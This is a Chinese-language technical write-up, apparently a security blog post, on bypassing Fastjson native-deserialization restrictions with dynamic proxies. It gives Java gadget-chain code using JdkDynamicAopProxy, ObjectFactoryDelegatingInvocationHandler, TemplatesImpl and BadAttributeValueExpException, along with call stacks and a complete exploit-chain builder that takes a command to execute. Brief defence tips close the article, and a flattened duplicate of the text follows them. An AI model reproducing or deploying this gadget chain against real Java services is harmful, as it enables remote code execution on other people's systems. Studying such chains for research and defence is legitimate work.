fastjson 原生反序列化配合动态代理绕过限制
字数 968 2025-08-22 12:23:36

Fastjson原生反序列化配合动态代理绕过限制技术分析

前言

本文详细分析Fastjson原生反序列化漏洞中利用动态代理技术绕过限制的方法,重点介绍两种动态代理实现方式:JdkDynamicAopProxy和ObjectFactoryDelegatingInvocationHandler。

动态代理基础

动态代理在CC1链中的应用

在Commons Collections 1(CC1)链中,动态代理是关键环节:

// CC1链动态代理部分代码
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);

调用链分析:

AnnotationInvocationHan.readobject
  → proxy.entryset
    → AnnotationInvocationHan.invoke
      → LazyMap.get
        → chainedTransformer.transformer...

AnnotationInvocationHandler的invoke方法

关键方法分析:

public Object invoke(Object var1, Method var2, Object[] var3) {
    // ...
    default:
        Object var6 = this.memberValues.get(var4);  // 关键点:memberValues可控
        // ...
}

JdkDynamicAopProxy代理绕过

基本原理

  1. 构造JdkDynamicAopProxy对象,将TemplatesImpl设置为targetSource
  2. 使用该对象构造代理类,代理javax.xml.transform.Templates接口
  3. JSON序列化库只能从代理对象上找到getOutputProperties方法
  4. 通过代理机制触发TemplatesImpl#getOutputProperties

关键代码实现

public class JdkDynamicAopProxyNode {
    public static Object makeGadget(Object gadget) throws Exception {
        AdvisedSupport as = new AdvisedSupport();
        as.setTargetSource(new SingletonTargetSource(gadget));
        return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", AdvisedSupport.class, as);
    }
}

调用栈分析

invoke:160, JdkDynamicAopProxy
getOutputProperties:-1, $Proxy1
write:-1, OWG_1_1_$Proxy1
write:3124, JSONWriterUTF16
toString:914, JSONArray
readObject:86, BadAttributeValueExpException
...

ObjectFactoryDelegatingInvocationHandler绕过

实现原理

  1. 代理Templates接口
  2. 使用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性
  3. 返回TemplatesImpl对象

关键方法分析

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    switch (method.getName()) {
        // ...
        default:
            try {
                return method.invoke(this.objectFactory.getObject(), args);  // 关键调用
            } catch (InvocationTargetException var6) {
                throw var6.getTargetException();
            }
    }
}

调用栈分析

invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler
getOutputProperties:-1, $Proxy2
write:-1, OWG_1_1_$Proxy2
write:3124, JSONWriterUTF16
toString:914, JSONArray
readObject:86, BadAttributeValueExpException
...

完整利用链构造

public class Fastjson4_JdkDynamicAopProxy {
    public Object getObject(String cmd) throws Exception {
        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
        Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler)node2);
        Object node3 = JsonArrayNode.makeGadget(2, proxy);
        Object node4 = BadAttrValExeNode.makeGadget(node3);
        Object[] array = new Object[]{node1, node4};
        Object node5 = HashMapNode.makeGadget(array);
        return node5;
    }
}

技术要点总结

  1. 动态代理选择:根据目标环境选择合适的动态代理实现
  2. 接口代理:必须代理Templates接口以确保getOutputProperties方法可用
  3. 目标对象注入:通过TargetSource或ObjectFactory机制注入恶意TemplatesImpl对象
  4. 调用链构造:合理组合JSONArray、BadAttributeValueExpException等组件形成完整利用链
  5. 版本适配:注意不同Fastjson版本和JDK版本间的兼容性问题

防御建议

  1. 升级Fastjson到最新安全版本
  2. 限制反序列化时的类加载行为
  3. 对动态代理对象进行严格校验
  4. 实施最小权限原则,限制危险类的使用
Fastjson原生反序列化配合动态代理绕过限制技术分析 前言 本文详细分析Fastjson原生反序列化漏洞中利用动态代理技术绕过限制的方法,重点介绍两种动态代理实现方式:JdkDynamicAopProxy和ObjectFactoryDelegatingInvocationHandler。 动态代理基础 动态代理在CC1链中的应用 在Commons Collections 1(CC1)链中,动态代理是关键环节: 调用链分析: AnnotationInvocationHandler的invoke方法 关键方法分析: JdkDynamicAopProxy代理绕过 基本原理 构造 JdkDynamicAopProxy 对象,将 TemplatesImpl 设置为 targetSource 使用该对象构造代理类,代理 javax.xml.transform.Templates 接口 JSON序列化库只能从代理对象上找到 getOutputProperties 方法 通过代理机制触发 TemplatesImpl#getOutputProperties 关键代码实现 调用栈分析 ObjectFactoryDelegatingInvocationHandler绕过 实现原理 代理Templates接口 使用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性 返回TemplatesImpl对象 关键方法分析 调用栈分析 完整利用链构造 技术要点总结 动态代理选择 :根据目标环境选择合适的动态代理实现 接口代理 :必须代理Templates接口以确保getOutputProperties方法可用 目标对象注入 :通过TargetSource或ObjectFactory机制注入恶意TemplatesImpl对象 调用链构造 :合理组合JSONArray、BadAttributeValueExpException等组件形成完整利用链 版本适配 :注意不同Fastjson版本和JDK版本间的兼容性问题 防御建议 升级Fastjson到最新安全版本 限制反序列化时的类加载行为 对动态代理对象进行严格校验 实施最小权限原则,限制危险类的使用